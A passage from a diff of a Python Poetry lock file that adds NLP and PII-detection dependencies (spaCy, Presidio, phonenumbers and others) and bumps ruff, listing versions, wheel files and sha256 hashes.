"sha256:0e411d5be64d37f2ce10a5d4d74c50bb35bd06205745b9631c4d8b1cb193e540"}, + {file = "murmurhash-1.0.13-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:da3500ad3dbf75ac9c6bc8c5fbc677d56dfc34aec0a289269939d059f194f61d"}, + {file = "murmurhash-1.0.13-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b23278c5428fc14f3101f8794f38ec937da042198930073e8c86d00add0fa2f0"}, + {file = "murmurhash-1.0.13-cp310-cp310-win_amd64.whl", hash = "sha256:7bc27226c0e8d9927f8e59af0dfefc93f5009e4ec3dde8da4ba7751ba19edd47"}, + {file = "murmurhash-1.0.13-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b20d168370bc3ce82920121b78ab35ae244070a9b18798f4a2e8678fa03bd7e0"}, + {file = "murmurhash-1.0.13-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cef667d2e83bdceea3bc20c586c491fa442662ace1aea66ff5e3a18bb38268d8"}, + {file = "murmurhash-1.0.13-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:507148e50929ba1fce36898808573b9f81c763d5676f3fc6e4e832ff56b66992"}, + {file = "murmurhash-1.0.13-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64d50f6173d266ad165beb8bca6101d824217fc9279f9e9981f4c0245c1e7ee6"}, + {file = "murmurhash-1.0.13-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0f272e15a84a8ae5f8b4bc0a68f9f47be38518ddffc72405791178058e9d019a"}, + {file = "murmurhash-1.0.13-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9423e0b0964ed1013a06c970199538c7ef9ca28c0be54798c0f1473a6591761"}, + {file = "murmurhash-1.0.13-cp311-cp311-win_amd64.whl", hash = "sha256:83b81e7084b696df3d853f2c78e0c9bda6b285d643f923f1a6fa9ab145d705c5"}, + {file = "murmurhash-1.0.13-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bbe882e46cb3f86e092d8a1dd7a5a1c992da1ae3b39f7dd4507b6ce33dae7f92"}, + {file = "murmurhash-1.0.13-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:52a33a12ecedc432493692c207c784b06b6427ffaa897fc90b7a76e65846478d"}, + {file = "murmurhash-1.0.13-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:950403a7f0dc2d9c8d0710f07c296f2daab66299d9677d6c65d6b6fa2cb30aaa"}, + {file = "murmurhash-1.0.13-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fde9fb5d2c106d86ff3ef2e4a9a69c2a8d23ba46e28c6b30034dc58421bc107b"}, + {file = "murmurhash-1.0.13-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3aa55d62773745616e1ab19345dece122f6e6d09224f7be939cc5b4c513c8473"}, + {file = "murmurhash-1.0.13-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:060dfef1b405cf02c450f182fb629f76ebe7f79657cced2db5054bc29b34938b"}, + {file = "murmurhash-1.0.13-cp312-cp312-win_amd64.whl", hash = "sha256:a8e79627d44a6e20a6487effc30bfe1c74754c13d179106e68cc6d07941b022c"}, + {file = "murmurhash-1.0.13-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b8a7f8befd901379b6dc57a9e49c5188454113747ad6aa8cdd951a6048e10790"}, + {file = "murmurhash-1.0.13-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f741aab86007510199193eee4f87c5ece92bc5a6ca7d0fe0d27335c1203dface"}, + {file = "murmurhash-1.0.13-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:82614f18fa6d9d83da6bb0918f3789a3e1555d0ce12c2548153e97f79b29cfc9"}, + {file = "murmurhash-1.0.13-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:91f22a48b9454712e0690aa0b76cf0156a5d5a083d23ec7e209cfaeef28f56ff"}, + {file = "murmurhash-1.0.13-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c4bc7938627b8fcb3d598fe6657cc96d1e31f4eba6a871b523c1512ab6dacb3e"}, + {file = "murmurhash-1.0.13-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:58a61f1fc840f9ef704e638c39b8517bab1d21f1a9dbb6ba3ec53e41360e44ec"}, + {file = "murmurhash-1.0.13-cp313-cp313-win_amd64.whl", hash = "sha256:c451a22f14c2f40e7abaea521ee24fa0e46fbec480c4304c25c946cdb6e81883"}, + {file = "murmurhash-1.0.13-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:94371ea3df7bfbc9106a9b163e185190fa45b071028a6594c16f9e6722177683"}, + {file = "murmurhash-1.0.13-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1db35c354c6834aa0dcf693db34ccdf3b051c1cba59b8dc8992a4181c26ec463"}, + {file = "murmurhash-1.0.13-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:273939515100361dc27bfb3b0ccde462633b514e227dc22b29f99c34e742d794"}, + {file = "murmurhash-1.0.13-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b16a58afda1e285755a4c15cd3403d596c4c37d7770f45745f5ec76b80ba0fc5"}, + {file = "murmurhash-1.0.13-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1e858c40d051ae48ed23b288ecb49aa8f95955ad830d5803b4ce45e08106ec18"}, + {file = "murmurhash-1.0.13-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6e7250c095592ab9fc62a6d95728a15c33010f9347d9b3263dcffb33a89d3b7a"}, + {file = "murmurhash-1.0.13-cp39-cp39-win_amd64.whl", hash = "sha256:3fff9b252b7abb737a7e9baf5a466a2abecb21be3a86a3d452a5696ee054bfcc"}, + {file = "murmurhash-1.0.13.tar.gz", hash = "sha256:737246d41ee00ff74b07b0bd1f0888be304d203ce668e642c86aa64ede30f8b7"}, +] + [[package]] name = "mypy" version = "1.17.1" @@ -2756,6 +3063,18 @@ files = [ [package.dependencies] ptyprocess = ">=0.5" +[[package]] +name = "phonenumbers" +version = "9.0.12" +description = "Python version of Google's common library for parsing, formatting, storing and validating international phone numbers." +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "phonenumbers-9.0.12-py2.py3-none-any.whl", hash = "sha256:900633afc3e12191458d710262df5efc117838bd1e2e613b64fa254a86bb20a1"}, + {file = "phonenumbers-9.0.12.tar.gz", hash = "sha256:ccadff6b949494bd606836d8c9678bee5b55cb1cbad1e98bf7adae108e6fd0be"}, +] + [[package]] name = "pillow" version = "11.3.0" @@ -2946,6 +3265,81 @@ nodeenv = ">=0.11.1" pyyaml = ">=5.1" virtualenv = ">=20.10.0" +[[package]] +name = "preshed" +version = "3.0.10" +description = "Cython hash table that trusts the keys are pre-hashed" +optional = false +python-versions = "<3.14,>=3.6" +groups = ["main"] +files = [ + {file = "preshed-3.0.10-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:14593c32e6705fda0fd54684293ca079530418bb1fb036dcbaa6c0ef0f144b7d"}, + {file = "preshed-3.0.10-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ba1960a3996678aded882260133853e19e3a251d9f35a19c9d7d830c4238c4eb"}, + {file = "preshed-3.0.10-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0830c0a262015be743a01455a1da5963750afed1bde2395590b01af3b7da2741"}, + {file = "preshed-3.0.10-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:165dda5862c28e77ee1f3feabad98d4ebb65345f458b5626596b92fd20a65275"}, + {file = "preshed-3.0.10-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e88e4c7fbbfa7c23a90d7d0cbe27e4c5fa2fd742ef1be09c153f9ccd2c600098"}, + {file = "preshed-3.0.10-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:87780ae00def0c97130c9d1652295ec8362c2e4ca553673b64fe0dc7b321a382"}, + {file = "preshed-3.0.10-cp310-cp310-win_amd64.whl", hash = "sha256:32496f216255a6cbdd60965dde29ff42ed8fc2d77968c28ae875e3856c6fa01a"}, + {file = "preshed-3.0.10-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d96c4fe2b41c1cdcc8c4fc1fdb10f922a6095c0430a3ebe361fe62c78902d068"}, + {file = "preshed-3.0.10-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cb01ea930b96f3301526a2ab26f41347d07555e4378c4144c6b7645074f2ebb0"}, + {file = "preshed-3.0.10-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dd1f0a7b7d150e229d073fd4fe94f72610cae992e907cee74687c4695873a98"}, + {file = "preshed-3.0.10-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fd7b350c280137f324cd447afbf6ba9a849af0e8898850046ac6f34010e08bd"}, + {file = "preshed-3.0.10-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:cf6a5fdc89ad06079aa6ee63621e417d4f4cf2a3d8b63c72728baad35a9ff641"}, + {file = "preshed-3.0.10-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b4c29a7bd66985808ad181c9ad05205a6aa7400cd0f98426acd7bc86588b93f8"}, + {file = "preshed-3.0.10-cp311-cp311-win_amd64.whl", hash = "sha256:1367c1fd6f44296305315d4e1c3fe3171787d4d01c1008a76bc9466bd79c3249"}, + {file = "preshed-3.0.10-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6e9c46933d55c8898c8f7a6019a8062cd87ef257b075ada2dd5d1e57810189ea"}, + {file = "preshed-3.0.10-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5c4ebc4f8ef0114d55f2ffdce4965378129c7453d0203664aeeb03055572d9e4"}, + {file = "preshed-3.0.10-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ab5ab4c6dfd3746fb4328e7fbeb2a0544416b872db02903bfac18e6f5cd412f"}, + {file = "preshed-3.0.10-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40586fd96ae3974c552a7cd78781b6844ecb1559ee7556586f487058cf13dd96"}, + {file = "preshed-3.0.10-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a606c24cda931306b98e0edfafed3309bffcf8d6ecfe07804db26024c4f03cd6"}, + {file = "preshed-3.0.10-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:394015566f9354738be903447039e8dbc6d93ba5adf091af694eb03c4e726b1e"}, + {file = "preshed-3.0.10-cp312-cp312-win_amd64.whl", hash = "sha256:fd7e38225937e580420c84d1996dde9b4f726aacd9405093455c3a2fa60fede5"}, + {file = "preshed-3.0.10-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:23e6e0581a517597f3f76bc24a4cdb0ba5509933d4f61c34fca49649dd71edf9"}, + {file = "preshed-3.0.10-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:574e6d6056981540310ff181b47a2912f4bddc91bcace3c7a9c6726eafda24ca"}, + {file = "preshed-3.0.10-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2bd658dd73e853d1bb5597976a407feafa681b9d6155bc9bc7b4c2acc2a6ee96"}, + {file = "preshed-3.0.10-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b95396046328ffb461a68859ce2141aca4815b8624167832d28ced70d541626"}, + {file = "preshed-3.0.10-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3e6728b2028bbe79565eb6cf676b5bae5ce1f9cc56e4bf99bb28ce576f88054d"}, + {file = "preshed-3.0.10-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c4ef96cb28bf5f08de9c070143113e168efccbb68fd4961e7d445f734c051a97"}, + {file = "preshed-3.0.10-cp313-cp313-win_amd64.whl", hash = "sha256:97e0e2edfd25a7dfba799b49b3c5cc248ad0318a76edd9d5fd2c82aa3d5c64ed"}, + {file = "preshed-3.0.10-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:52f07d53a46510fe4d583272aa18ddb76904eb2fe58b534624e742a05be5f43e"}, + {file = "preshed-3.0.10-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e5e41cdb12f43a27fa5f8f5d788aa8b3b6eb699434bb1e95d0da3d18727a5f8d"}, + {file = "preshed-3.0.10-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:60e93f8692d70597d19c59ef9b44e7e9def85a3060d3ff0f3629909bd996d9fa"}, + {file = "preshed-3.0.10-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:23fd32c1f3519d1811d02a13a98cd9e7601d4a65b23c61e5bbc80460f11d748e"}, + {file = "preshed-3.0.10-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:25b2a0f3737fbb05f488eef0e62f82ac6573122bffb5119833af463f00455342"}, + {file = "preshed-3.0.10-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:7ab8316d9aceb84d9e88e7cef48de92d0ad93f31cca8c91fbf98bc635a212707"}, + {file = "preshed-3.0.10-cp39-cp39-win_amd64.whl", hash = "sha256:a046e3070c8bdae7b7c888eca2d5a320f84406755ec6f20654b049f52b31eb51"}, + {file = "preshed-3.0.10.tar.gz", hash = "sha256:5a5c8e685e941f4ffec97f1fbf32694b8107858891a4bc34107fac981d8296ff"}, +] + +[package.dependencies] +cymem = ">=2.0.2,<2.1.0" +murmurhash = ">=0.28.0,<1.1.0" + +[[package]] +name = "presidio-analyzer" +version = "2.2.359" +description = "Presidio Analyzer package" +optional = false +python-versions = "<4.0,>=3.9" +groups = ["main"] +files = [ + {file = "presidio_analyzer-2.2.359-py3-none-any.whl", hash = "sha256:5f9a71ce5e484b1d9fd10a3f40ba37cb311deeb7cc25c3a87c0ba36b468ee26d"}, +] + +[package.dependencies] +phonenumbers = ">=8.12,<10.0.0" +pyyaml = "*" +regex = "*" +spacy = ">=3.4.4,<3.7.0 || >3.7.0,<4.0.0" +tldextract = "*" + +[package.extras] +azure-ai-language = ["azure-ai-textanalytics", "azure-core"] +gliner = ["gliner (>=0.2.13,<1.0.0) ; python_version >= \"3.10\"", "huggingface_hub", "onnxruntime (>=1.19) ; python_version >= \"3.10\"", "transformers"] +server = ["flask (>=1.1)", "gunicorn"] +stanza = ["stanza (>=1.10.1,<2.0.0)"] +transformers = ["accelerate", "huggingface_hub", "spacy_huggingface_pipelines", "transformers"] + [[package]] name = "proglog" version = "0.1.12" @@ -3900,6 +4294,21 @@ urllib3 = ">=1.21.1,<3" socks = ["PySocks (>=1.5.6,!=1.5.7)"] use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] +[[package]] +name = "requests-file" +version = "2.1.0" +description = "File transport adapter for Requests" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "requests_file-2.1.0-py2.py3-none-any.whl", hash = "sha256:cf270de5a4c5874e84599fc5778303d496c10ae5e870bfa378818f35d21bda5c"}, + {file = "requests_file-2.1.0.tar.gz", hash = "sha256:0f549a3f3b0699415ac04d167e9cb39bccfb730cb832b4d20be3d9867356e658"}, +] + +[package.dependencies] +requests = ">=1.0.0" + [[package]] name = "rich" version = "14.1.0" @@ -4209,30 +4618,31 @@ files = [ [[package]] name = "ruff" -version = "0.11.13" +version = "0.12.10" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" groups = ["dev"] files = [ - {file = "ruff-0.11.13-py3-none-linux_armv6l.whl", hash = "sha256:4bdfbf1240533f40042ec00c9e09a3aade6f8c10b6414cf11b519488d2635d46"}, - {file = "ruff-0.11.13-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:aef9c9ed1b5ca28bb15c7eac83b8670cf3b20b478195bd49c8d756ba0a36cf48"}, - {file = "ruff-0.11.13-py3-none-macosx_11_0_arm64.whl", hash = "sha256:53b15a9dfdce029c842e9a5aebc3855e9ab7771395979ff85b7c1dedb53ddc2b"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ab153241400789138d13f362c43f7edecc0edfffce2afa6a68434000ecd8f69a"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6c51f93029d54a910d3d24f7dd0bb909e31b6cd989a5e4ac513f4eb41629f0dc"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1808b3ed53e1a777c2ef733aca9051dc9bf7c99b26ece15cb59a0320fbdbd629"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:d28ce58b5ecf0f43c1b71edffabe6ed7f245d5336b17805803312ec9bc665933"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55e4bc3a77842da33c16d55b32c6cac1ec5fb0fbec9c8c513bdce76c4f922165"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:633bf2c6f35678c56ec73189ba6fa19ff1c5e4807a78bf60ef487b9dd272cc71"}, - {file = "ruff-0.11.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4ffbc82d70424b275b089166310448051afdc6e914fdab90e08df66c43bb5ca9"}, - {file = "ruff-0.11.13-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:4a9ddd3ec62a9a89578c85842b836e4ac832d4a2e0bfaad3b02243f930ceafcc"}, - {file = "ruff-0.11.13-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:d237a496e0778d719efb05058c64d28b757c77824e04ffe8796c7436e26712b7"}, - {file = "ruff-0.11.13-py3-none-musllinux_1_2_i686.whl", hash = "sha256:26816a218ca6ef02142343fd24c70f7cd8c5aa6c203bca284407adf675984432"}, - {file = "ruff-0.11.13-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:51c3f95abd9331dc5b87c47ac7f376db5616041173826dfd556cfe3d4977f492"}, - {file = "ruff-0.11.13-py3-none-win32.whl", hash = "sha256:96c27935418e4e8e77a26bb05962817f28b8ef3843a6c6cc49d8783b5507f250"}, - {file = "ruff-0.11.13-py3-none-win_amd64.whl", hash = "sha256:29c3189895a8a6a657b7af4e97d330c8a3afd2c9c8f46c81e2fc5a31866517e3"}, - {file = "ruff-0.11.13-py3-none-win_arm64.whl", hash = "sha256:b4385285e9179d608ff1d2fb9922062663c658605819a6876d8beef0c30b7f3b"}, - {file = "ruff-0.11.13.tar.gz", hash = "sha256:26fa247dc68d1d4e72c179e08889a25ac0c7ba4d78aecfc835d49cbfd60bf514"}, + {file = "ruff-0.12.10-py3-none-linux_armv6l.whl", hash = "sha256:8b593cb0fb55cc8692dac7b06deb29afda78c721c7ccfed22db941201b7b8f7b"}, + {file = "ruff-0.12.10-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ebb7333a45d56efc7c110a46a69a1b32365d5c5161e7244aaf3aa20ce62399c1"}, + {file = "ruff-0.12.10-py3-none-macosx_11_0_arm64.whl", hash = "sha256:d59e58586829f8e4a9920788f6efba97a13d1fa320b047814e8afede381c6839"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:822d9677b560f1fdeab69b89d1f444bf5459da4aa04e06e766cf0121771ab844"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:37b4a64f4062a50c75019c61c7017ff598cb444984b638511f48539d3a1c98db"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2c6f4064c69d2542029b2a61d39920c85240c39837599d7f2e32e80d36401d6e"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:059e863ea3a9ade41407ad71c1de2badfbe01539117f38f763ba42a1206f7559"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1bef6161e297c68908b7218fa6e0e93e99a286e5ed9653d4be71e687dff101cf"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4f1345fbf8fb0531cd722285b5f15af49b2932742fc96b633e883da8d841896b"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f68433c4fbc63efbfa3ba5db31727db229fa4e61000f452c540474b03de52a9"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:141ce3d88803c625257b8a6debf4a0473eb6eed9643a6189b68838b43e78165a"}, + {file = "ruff-0.12.10-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:f3fc21178cd44c98142ae7590f42ddcb587b8e09a3b849cbc84edb62ee95de60"}, + {file = "ruff-0.12.10-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:7d1a4e0bdfafcd2e3e235ecf50bf0176f74dd37902f241588ae1f6c827a36c56"}, + {file = "ruff-0.12.10-py3-none-musllinux_1_2_i686.whl", hash = "sha256:e67d96827854f50b9e3e8327b031647e7bcc090dbe7bb11101a81a3a2cbf1cc9"}, + {file = "ruff-0.12.10-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:ae479e1a18b439c59138f066ae79cc0f3ee250712a873d00dbafadaad9481e5b"}, + {file = "ruff-0.12.10-py3-none-win32.whl", hash = "sha256:9de785e95dc2f09846c5e6e1d3a3d32ecd0b283a979898ad427a9be7be22b266"}, + {file = "ruff-0.12.10-py3-none-win_amd64.whl", hash = "sha256:7837eca8787f076f67aba2ca559cefd9c5cbc3a9852fd66186f4201b87c1563e"}, + {file = "ruff-0.12.10-py3-none-win_arm64.whl", hash = "sha256:cc138cc06ed9d4bfa9d667a65af7172b47840e1a98b02ce7011c391e54635ffc"}, + {file = "ruff-0.12.10.tar.gz", hash = "sha256:189ab65149d11ea69a2d775343adf5f49bb2426fc4780f65ee33b423ad2e47f9"}, ] [[package]] @@ -4296,13 +4706,34 @@ testing = ["h5py (>=3.7.0)", "huggingface-hub (>=0.12.1)", "hypothesis (>=6.70.2 testingfree = ["huggingface-hub (>=0.12.1)", "hypothesis (>=6.70.2)", "pytest (>=7.2.0)", "pytest-benchmark (>=4.0.0)", "safetensors[numpy]", "setuptools-rust (>=1.5.2)"] torch = ["safetensors[numpy]", "torch (>=1.10)"] +[[package]] +name = "setuptools" +version = "80.9.0" +description = "Easily download, build, install, upgrade, and uninstall Python packages" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922"}, + {file = "setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c"}, +] + +[package.extras] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.8.0) ; sys_platform != \"cygwin\""] +core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] +cover = ["pytest-cov"] +doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] +enabler = ["pytest-enabler (>=2.2)"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] +type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.14.*)", "pytest-mypy"] + [[package]] name = "shellingham" version = "1.5.4" description = "Tool to Detect Surrounding Shell" optional = false python-versions = ">=3.7" -groups = ["dev"] +groups = ["main", "dev"] files = [ {file = "shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686"}, {file = "shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de"}, @@ -4320,6 +4751,32 @@ files = [ {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, ] +[[package]] +name = "smart-open" +version = "7.3.0.post1" +description = "Utils for streaming large files (S3, HDFS, GCS, SFTP, Azure Blob Storage, gzip, bz2, zst...)" +optional = false +python-versions = "<4.0,>=3.8" +groups = ["main"] +files = [ + {file = "smart_open-7.3.0.post1-py3-none-any.whl", hash = "sha256:c73661a2c24bf045c1e04e08fffc585b59af023fe783d57896f590489db66fb4"}, + {file = "smart_open-7.3.0.post1.tar.gz", hash = "sha256:ce6a3d9bc1afbf6234ad13c010b77f8cd36d24636811e3c52c3b5160f5214d1e"}, +] + +[package.dependencies] +wrapt = "*" + +[package.extras] +all = ["smart_open[azure,gcs,http,s3,ssh,webhdfs,zst]"] +azure = ["azure-common", "azure-core", "azure-storage-blob"] +gcs = ["google-cloud-storage (>=2.6.0)"] +http = ["requests"] +s3 = ["boto3"] +ssh = ["paramiko"] +test = ["awscli", "moto[server]", "numpy", "pyopenssl", "pytest", "pytest-rerunfailures", "pytest_benchmark", "responses", "smart_open[all]"] +webhdfs = ["requests"] +zst = ["zstandard"] + [[package]] name = "sniffio" version = "1.3.1" @@ -4367,6 +4824,173 @@ files = [ {file = "soupsieve-2.7.tar.gz", hash = "sha256:ad282f9b6926286d2ead4750552c8a6142bc4c783fd66b0293547c8fe6ae126a"}, ] +[[package]] +name = "spacy" +version = "3.8.7" +description = "Industrial-strength Natural Language Processing (NLP) in Python" +optional = false +python-versions = "<3.14,>=3.9" +groups = ["main"] +files = [ + {file = "spacy-3.8.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6ec0368ce96cd775fb14906f04b771c912ea8393ba30f8b35f9c4dc47a420b8e"}, + {file = "spacy-3.8.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5672f8a0fe7a3847e925544890be60015fbf48a60a838803425f82e849dd4f18"}, + {file = "spacy-3.8.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:60cde9fe8b15be04eb1e634c353d9c160187115d825b368cc1975452dd54f264"}, + {file = "spacy-3.8.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d9cac8e58fb92fb1c5e06328039595fa6589a9d1403681266f8f5e454d15319c"}, + {file = "spacy-3.8.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:1456245a4ed04bc882db2d89a27ca1b6dc0b947b643bedaeaa5da11d9f7e22ec"}, + {file = "spacy-3.8.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:bb98f85d467963d17c7c660884069ba948bde71c07280c91ee3235e554375308"}, + {file = "spacy-3.8.7-cp310-cp310-win_amd64.whl", hash = "sha256:b0df50d69e6691e97eae228733b321971607dbbb799e59d8470f2e70b8b27a8e"}, + {file = "spacy-3.8.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bdff8b9b556468a6dd527af17f0ddf9fb0b0bee92ee7703339ddf542361cff98"}, + {file = "spacy-3.8.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9194b7cf015ed9b4450ffb162da49c8a9305e76b468de036b0948abdfc748a37"}, + {file = "spacy-3.8.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7dc38b78d48b9c2a80a3eea95f776304993f63fc307f07cdd104441442f92f1e"}, + {file = 